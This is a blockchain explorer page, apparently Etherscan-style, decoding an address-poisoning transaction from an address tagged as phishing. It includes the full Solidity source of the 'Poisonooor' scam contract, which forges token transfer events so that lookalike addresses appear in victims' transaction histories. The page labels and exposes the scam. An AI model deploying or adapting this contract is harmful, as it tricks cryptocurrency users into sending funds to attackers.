ETH Price: $2,326.32 (+1.67%)

Transaction Decoder

Block:
22728902 at Jun-18-2025 04:11:59 AM +UTC
Transaction Fee:
0.000037987000255692 ETH $0.09
Gas Used:
88,203 Gas / 0.430676964 Gwei

Emitted Events:

577 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000315e1ea0467446d7dba89b0d1e7fc6a680422040, 0x000000000000000000000000144ff0e8c65d32b54d05f5e8213aef9efcb0b056, 0000000000000000000000000000000000000000000000001df9dc8e4ad80000 )
578 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000144ff0e8c65d32b54d05f5e8213aef9efcb0b056, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000001df9dc8e4ad80000 )
579 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000365d5e4c2182f542475d7e17a9d532c47fa4d774, 0x000000000000000000000000a9d1e15d94ed894aef73f0b8700beae4f3ad3e43, 0000000000000000000000000000000000000000000000005cfb32c40e2fb860 )
580 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000a9d1e15d94ed894aef73f0b8700beae4f3ad3e43, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000005cfb32c40e2fb860 )
581 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000d205430f71471b025c7bcf10a172feec3c5f777e, 0x000000000000000000000000782aad1c8ab681cc10213f2e83a3e0b9234ea8c7, 0000000000000000000000000000000000000000000000000039f4964a389000 )
582 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000782aad1c8ab681cc10213f2e83a3e0b9234ea8c7, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000000039f4964a389000 )
583 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000003d109a931196c1b5bdb2ccc4cba0238a49abda5f, 0x00000000000000000000000062b75b65b23271b7f33d66b52831a58c3899bc9a, 000000000000000000000000000000000000000000000001e5b8fa8fe2ac0000 )
584 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x00000000000000000000000062b75b65b23271b7f33d66b52831a58c3899bc9a, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 000000000000000000000000000000000000000000000001e5b8fa8fe2ac0000 )
585 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000002347e50f903bc43106516a9e541b5918ec56c407, 0x000000000000000000000000b5821b4102ae47e15cdb00158e386a46a90022b2, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
586 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000b5821b4102ae47e15cdb00158e386a46a90022b2, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
587 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000c96f949fb65cd331a5c85ab0227d9ebf22819176, 0x000000000000000000000000c0b7f0a09548ae0736a4eec32dc19a8161eaa09d, 000000000000000000000000000000000000000000000002b7f8974b3dd70000 )
588 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000c0b7f0a09548ae0736a4eec32dc19a8161eaa09d, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 000000000000000000000000000000000000000000000002b7f8974b3dd70000 )
589 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000b5826a5ea808384b21480f2eaf6441a0549b22b2, 0x00000000000000000000000023479cd5b634b4c295d36bedbe9437e9c71fc407, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
590 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x00000000000000000000000023479cd5b634b4c295d36bedbe9437e9c71fc407, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
591 0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000685e9b3867d067e8bbaea94f0029d4043365ed36, 0x00000000000000000000000013c2988bfe0d30a2aa7c7bb393e33844ca9659eb, 00000000000000000000000000000000000000000000000088009813ced40000 )
592 Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x00000000000000000000000013c2988bfe0d30a2aa7c7bb393e33844ca9659eb, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 00000000000000000000000000000000000000000000000088009813ced40000 )

Account State Difference:

  Address   Before After State Difference Code
0x4AAE2F23...6F8466c82
(Fake_Phishing1250369)
0.055702461464095072 Eth
Nonce: 8254
0.05566447446383938 Eth
Nonce: 8255
0.000037987000255692
(beaverbuild)
7.061930361549381328 Eth7.061934771699381328 Eth0.00000441015

Execution Trace

Poisonooor.transfer( 0x0000000000000000000000000000000000000020, 32 ) => ( True )
  • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x315e1eA0467446d7dBa89b0d1e7fC6a680422040, to=0x144Ff0E8C65D32B54D05F5E8213aeF9Efcb0B056, amount=2160000000000000000 )
    • Fake_Phishing1250619.23b872dd( )
    • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x365d5E4C2182F542475d7e17a9D532c47fA4D774, to=0xA9d1e15d94eD894aEf73f0b8700bEae4F3ad3e43, amount=6700004688276732000 )
      • Fake_Phishing1250619.23b872dd( )
      • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0xD205430F71471b025C7bCf10A172fEeC3C5f777E, to=0x782AAD1C8AB681CC10213F2e83a3e0B9234EA8C7, amount=16313000000000000 )
        • Fake_Phishing1250619.23b872dd( )
        • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x3d109A931196c1B5bDB2cCc4cBA0238A49AbDA5f, to=0x62B75B65b23271B7F33D66B52831a58C3899bC9a, amount=35000000000000000000 )
          • Fake_Phishing1250619.23b872dd( )
          • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x2347E50f903Bc43106516A9e541B5918EC56c407, to=0xB5821B4102Ae47E15Cdb00158E386a46a90022B2, amount=10000000000000000000 )
            • Fake_Phishing1250619.23b872dd( )
            • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0xC96f949fB65cD331a5c85Ab0227d9Ebf22819176, to=0xc0B7f0a09548Ae0736a4eEc32dc19A8161eaA09D, amount=50150000000000000000 )
              • Fake_Phishing1250619.23b872dd( )
              • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0xB5826a5Ea808384B21480f2EAF6441A0549B22B2, to=0x23479CD5B634b4c295d36BeDbE9437E9C71FC407, amount=10000000000000000000 )
                • Fake_Phishing1250619.23b872dd( )
                • Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x685E9b3867D067e8bBAEa94f0029d4043365Ed36, to=0x13c2988bFE0d30a2aA7C7BB393e33844Ca9659eb, amount=9800000000000000000 )
                  • Fake_Phishing1250619.23b872dd( )
                    pragma solidity 0.8.26;
                    
                    interface IERC20 {
                        function transfer(address to, uint256 value) external returns (bool);
                        function transferFrom(address from, address to, uint256 value) external returns (bool);
                        function balanceOf(address account) external view returns (uint256);
                    }
                    
                    contract Poisonooor {
                    
                        /* 
                            This contract is used by bad guys for the address poisoning scam to trick inattentive users into sending USDT/USDC to the wrong addresses
                            Recreated and exposed by Wintermute
                    
                            DESCRIPTION OF HOW THIS SCAM WORKS:
                            https://www.blockaid.io/blog/a-deep-dive-into-address-poisoning
                        */
                    
                        using SafeERC20 for IERC20;
                    
                        mapping(address => mapping(address => uint256)) public mapping_4850931766;
                    
                        event Transferred(bytes32 indexed, address indexed, address indexed, uint256) anonymous;
                    
                        receive() external payable {}
                    
                        fallback() external payable {
                            require(msg.value == 0, "Ether not accepted");
                            transfer(address(0), 0);
                        }
                    
                        function attemptTransfer(IERC20 token, address from, address to, uint256 amount) external {
                            token.safeTransferFrom(from, to, amount);
                        }
                    
                        function transfer(address, uint256) public returns (bool) {
                            uint256 len = msg.data.length;
                            require((len - 68) % 128 == 0, "Invalid call data length");
                            uint256 iters = (len - 68) / 128;
                            for (uint256 i = 0; i < iters; i++) {
                                uint256 offset = 68 + i * 128;
                    
                                address from;
                                address to;
                                address token;
                                uint256 amount;
                    
                                assembly {
                                    from := calldataload(offset)
                                    to := calldataload(add(offset, 32))
                                    token := calldataload(add(offset, 64))
                                    amount := calldataload(add(offset, 96))
                                }
                    
                               try this.attemptTransfer(IERC20(from), to, token, amount) {
                                emit Transferred(hex"c1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db", token, from, amount);
                               } catch {
                                mapping_4850931766[token][from] += amount;
                               }
                            }
                            return true;
                        }
                    
                    }
                    
                    library SafeERC20 {
                      error SafeERC20FailedOperation(address token);
                    
                      function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
                        _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
                      }
                    
                      function _callOptionalReturn(IERC20 token, bytes memory data) private {
                        uint256 returnSize;
                        uint256 returnValue;
                        assembly ("memory-safe") {
                          let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
                          if iszero(success) {
                            let ptr := mload(0x40)
                            returndatacopy(ptr, 0, returndatasize())
                            revert(ptr, returndatasize())
                          }
                          returnSize := returndatasize()
                          returnValue := mload(0)
                        }
                        if (returnSize == 0 ? address(token).code.length == 0 :  returnValue != 1) {
                          revert SafeERC20FailedOperation(address(token));
                        }
                      }
                    }